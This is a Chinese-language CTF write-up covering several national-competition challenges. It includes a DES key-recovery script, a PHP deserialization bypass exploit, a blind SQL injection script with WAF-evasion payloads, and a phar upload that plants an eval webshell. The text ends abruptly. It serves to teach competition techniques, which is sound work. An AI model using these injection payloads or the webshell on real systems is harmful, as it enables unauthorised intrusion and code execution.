前言
最近的国赛,因为题目环境已经关了,所以只简单记录一下思路。
吹爆队内的 Misc 师傅和二进制爷爷!
part_des(Crypto)
题目给了两个数据,分别是第 n 轮的密文和16轮中生成的所有子密钥
在 DES 算法中,子密钥都是通过密钥生成的,那我们能不能通过子密钥来反推密钥呢?如果能得到密钥,我们使用密钥进行加密,然后在其中第 n 轮修改它的密文,然后再解密最终密文就可以得到明文了。
答案是可以的:https://skysec.top/2017/12/25/%E4%B8%80%E9%81%93%E6%9C%89%E5%85%B3%E5%AF%86%E9%92%A5%E7%BC%96%E6%8E%92%E7%9A%84DES%E9%A2%98%E7%9B%AE/#%E7%94%B1%E5%AD%90%E5%AF%86%E9%92%A5%E5%8F%8D%E6%8E%A8deskey
脚本如下,需要自行修改 pyDes 中的解密函数,对 n=1-16 进行尝试,最后得到 n=13 时 flag 为明文:
import itertools
from pyDes import *
key = [
'111000001011111001100110000100000011001011010101',
'111100001011011001110110111110000010000010010101',
'111001001101011001110110001000110110001010001111',
'111001101101001101110110001101100011000110000011',
'101011101101001101110011101001100000000101100111',
'101011110101001101111011010001101010101111000010',
'101011110101001111011001011101001000010101011001',
'000111110101101111011001010010111001010001001010',
'001111110100100111011001010010001001011111101010',
'000111110110100110011101000111001101110000101001',
'000111110010110110011101010010100101110001110000',
'010111110010110010101101100010011110100100111000',
'110110111010110010101100101000010101111000010000',
'110110001010111010101110110110010000001000110110',
'111100001011111000101110100101010100101010001100',
'111100001011111010100110000100010010111010000100'
]
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
C1D1 = ['*'] * 56
for i in range(0, len(key[0])):
C1D1[__pc2[i]] = key[0][i]
print "".join(C1D1)[:28], "".join(C1D1)[28:]
C0 = '000000001*11111111*111*10*00'
D0 = '0000111*11*1001*0000100001*0'
__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
C0D0 = C0 + D0
res = ['*'] * 64
deskey = ""
for i in range(0, len(__pc1)):
res[__pc1[i]] = C0D0[i]
for i in res:
deskey += i
print deskey
def zuoyiwei(str, num):
my = str[num:len(str)]
my = my + str[0:num]
return my
def key_change_1(str):
key1_list = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44,
36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28,
20, 12, 4]
res = ""
for i in key1_list:
res += str[i - 1]
return res
def key_change_2(str):
key2_list = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37,
47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
res = ""
for i in key2_list:
res += str[i - 1]
return res
def key_gen(str):
key_list = []
key_change_res = key_change_1(str)
key_c = key_change_res[0:28]
key_d = key_change_res[28:]
for i in range(1, 17):
if (i == 1) or (i == 2) or (i == 9) or (i == 16):
key_c = zuoyiwei(key_c, 1)
key_d = zuoyiwei(key_d, 1)
else:
key_c = zuoyiwei(key_c, 2)
key_d = zuoyiwei(key_d, 2)
key_yiwei = key_c + key_d
key_res = key_change_2(key_yiwei)
key_list.append(key_res)
return key_list
asdkey = "11001101100111111001011010101100100110010011101001100101"
qwekey = "11001101100110111001111010111100101110010111101011100101"
print key_gen(deskey)
unknow = ['111000001011111001100110000100000011001011010101', '1j1n000010d101100m110110111k100000100000be0a0101',
'11100100jm010d10011101100010001ae11000101000111b', '1d1001101101001m01110nj0001101b000k10e0110000011',
'10j01110d10100110111001m10k0e1100000000b01100a11', '1010111m0101001101n110d1010001101e101011a10000k0',
'n0d0111101010011m10j10010b110k00100001010101100a', '000m1j11010110n111011001e10010a1100101000k00b010',
'00n111110100m00j1d0110010k00100e10010b11111010a0', '000111110dm010011001110j0001ba00110111000010k001',
'0001111j00101m0d100n1101010010100b0k11000a110e00', '0m011n1100101100j010110d10001001a1101001e0k11000',
'110j10ndm010110010101100b01000010101ka100001000e', '1101n00010101110d01011m01101a0e1000000b0001k0110',
'11md0000101111100010nj10100b010k0a00101e10001100', '11110000101mdj10n010011000010e010010a1k010000b00']
def check(s):
look = 1
count = 0
for y in xrange(16):
if s in unknow[y]:
count += 1
try:
assert key[y][unknow[y].index(s)] == "1"
except:
look = 0
break
if count == 0:
print x + ": Unknow"
elif look == 1:
print x + ": 1"
else:
print x + ": 0"
for x in "abcdefghijklmnop":
check(x)
key = "110011c110011f111001g110101h110010i110010l111010o110010p"
for x in itertools.product("01", repeat=8):
my_key = ""
count = 0
my_key2 = ""
for y in xrange(56):
if key[y] in ["1", "0"]:
my_key += key[y]
else:
my_key += x[count]
count += 1
for y in xrange(8):
my_key2 += chr(int(my_key[y * 7: y * 7 + 7], 2))
data = "\x23" * 8
k = des(my_key2)
d = k.encrypt(data)
z = k.decrypt(d)
print z
print "Over!"
JustSoso(Web)
进入题目查看注释,可以看到提示,利用本地文件读取漏洞读取源码,很明显是反序列化题目,只要绕开几个点就可以了:url_parse 用3个/ ,wake_up 用修改成员数量,MD5 比较用指针绕过,脚本如下:
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
$this->token_flag = md5(2333);
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$a = new Handle(new Flag("flag.php"));
$a = urlencode(serialize($a));
echo $a;
全宇宙最简单的SQL(Web)
很坑的题目,首先,主办方开的容器先到先得,晚来的甚至没得做;其次明明是盲注题目,却有知道创宇的 waf 进行拦截,所以我只能用代理来解决。
进入题目,看到提示说是一道 SQL 题,先测试一下 WAF,可以看到 or 、sleep 等很多关键词被替换掉了,再多测试可以发现,题目会有两个回显,语法正确和错误,所以尝试采用报错盲注。因为 or 被过滤的原因,所以我们无法获取表名,但是我们可以通过 union 联查进行猜解判断,根据 form 表单的字段名 username、password,猜测得到表名为 user,但是字段名如果是 password,没有 or 我们也无法注入,所以要使用不使用列名的注入方法:http://www.poluoluo.com/server/201706/547394.html
写出脚本:
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0'
}
result = ""
url = "http://5104b761a17d46b289b8e3ab06c17f11d7f717deebd04df2.changame.ichunqiu.com/"
flag = "F1AG@1s-at_/fll1llag_h3r3"
for x in xrange(1, 10):
for y in xrange(33, 128):
payload = "'and (select ascii(mid((select(select e.2 from " \
"(select * from (select 1)a, (select 2)b union select * from user)e " \
"limit 1 offset 1)f),%s,1))=%s)*999*pow(999,102)#" % (x + 1, y)
data = {
"username": payload,
"password": 'Twings'
}
content = requests.post(url, data=data, headers=headers).content
if 'error_403' in content:
print "Error: 知道创宇的WAF!"
exit(1)
if '数据库操作失败!' in content:
result += chr(y)
print "[Get] " + result
if y == 127:
print "Error!"
exit(1)
print result
跑出密码,登陆后台,看到后台的连接远程 MySQL功能,联想到 DDCTF 的 MySQL 弱密码题目,根据密码提示的 flag 文件的位置猜测要读文件,所以直接利用别人写好的脚本 rogue_mysql_server.py 。
love_math(Web)
利用 base_convert 进制转换拼凑出 _GET,system,getallheaders 或者 readfile 等等字符串,最后使用大括号表示数组即可。
RefSpace(web)
进入题目,可以看到一个类似本地文件读取漏洞的参数 ?route=app/index ,利用该漏洞可以一步步获取所有源码( index.php、app/index.php 、app/flag.php 、backup.zip),还有 web 目录存在 robots.txt,我们可以得到一个上传点 Up10aD.php,上传点只可以上传 jpg 等文件,但是利用文件包含点,我们可以使用 phar 协议进行 getshell:
$p = new Phar('twings2.phar', 0);
$p['twings.php'] = '<?php eval($_GET["cmd"]);?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');
修改后缀为 jpg,上传包含 getshell。通过列目录,我们可以得到加密后的flag.txt、sdk.php、和加密的扩展因为sdk.txt 提示的原因,所以我们不去解密这些文件,主要把目光放在他提示的函数上,主要是这里:
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
那么我们怎么让这里相同呢?首先我们肯定要知道 getHash 函数的返回值,这里我们可以通过反射来完成,因为是私有变量的原因,所以我们需要调用 setAccessible。得到了 sha1 的结果之后,我们首先尝试了进行解密,结果各个网站都失败了,我们不得不开始想别的办法,有没有办法覆盖 sha1 函数?结果我们在 php.net 上面看到一句话,说 PHP 不支持也不可能有函数重载、删除等等,所以我们也只能放弃了这个思路。后来看到 flag.php 中的那么一行代码:use interesting\FlagSDK; 那我们能不能使用命名空间做文章?就像一般函数的命名空间都是 \ 一样,如果我们修改了命名空间,然后重新定义函数,就可以操控 sha1 的返回了。
Orx